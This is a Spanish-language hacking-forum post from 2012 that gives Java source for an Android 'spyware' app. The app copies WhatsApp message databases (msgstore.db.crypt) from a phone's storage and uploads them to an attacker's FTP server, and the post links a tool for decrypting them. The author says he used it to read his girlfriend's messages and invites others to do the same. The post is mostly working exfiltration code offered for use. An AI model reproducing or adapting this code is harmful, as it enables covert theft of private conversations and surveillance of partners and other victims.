elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Análisis y Diseño de Malware / Spyware-código java para "tomar prestado" msgstore.db.crypt-base datos whatsapp en: 6 Agosto 2012, 01:50 am
Con esto pretendo hacer mas fácil el trabajo a gente que se vea en mi misma situación o en otra parecida. Quiero aclarar las personas que usen el siguiente codigo lo haran totalmente bajo su responsabilidad.

Pues bien, al turrón:

El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía  dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.

Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip

1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.


2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.

3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código
  1. import java.io.*;
  2. import java.net.InetAddress;
  3. import java.net.SocketException;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.nio.channels.FileChannel;
  7. import org.apache.commons.net.ftp.FTP;
  8. import org.apache.commons.net.ftp.FTPClient;
  9. import android.os.Environment;
  10. import android.util.Log;
  11.  
  12. public class FtpCon {
  13.  
  14. public FtpCon() throws SocketException, IOException {
  15.  
  16.  try {
  17.  FTPClient mFTPClient = new FTPClient();
  18.  mFTPClient.connect("direccion del servidor", 21);      
  19.  mFTPClient.login("nombreUsuario","contraseña");
  20.  mFTPClient.enterLocalPassiveMode();
  21.  mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
  22.  
  23.  mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
  24.  Log.d("Working Directory", mFTPClient.printWorkingDirectory());
  25.  
  26.                          String estado = Environment.getExternalStorageState();
  27. if (!estado.equals(Environment.MEDIA_MOUNTED)) {
  28. Log.d("Error", "No hay almacenamiento externo montado");
  29. } else {
  30.                                        File externalDir = Environment.getExternalStorageDirectory();
  31. File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
  32. String [] filenames = ruta.list();
  33. if (filenames != null) {
  34. for (int i = 0; i< filenames.length; i++) {
  35. try {  
  36.  
  37. InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);
  38.  
  39. mFTPClient.storeFile("msgstore.db.crypt"+i, is);
  40.                                                       } catch (IOException e) {
  41. Log.d("Error", "Se ha producido un error! "+e.getMessage());
  42. }
  43.  
  44. }
  45. }
  46.  
  47.                                mFTPClient.logout();
  48.                                        Log.d("OK", "Enviado con exito");
  49.  } catch (IOException e) {
  50.  Log.d(":(", e.getMessage());  
  51.  }
  52.         }
  53.   }
  54.  

Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.

Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!

Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código
  1. new Thread(new Runnable() {
  2.     public void run() {
  3.     try {
  4. FtpCon con = new FtpCon();
  5. } catch (SocketException e) {
  6. // TODO Auto-generated catch block
  7. e.printStackTrace();
  8. } catch (IOException e) {
  9. // TODO Auto-generated catch block
  10. e.printStackTrace();
  11. }    
  12.     }
  13.    }).start();
  14.  
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo! >:D


Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines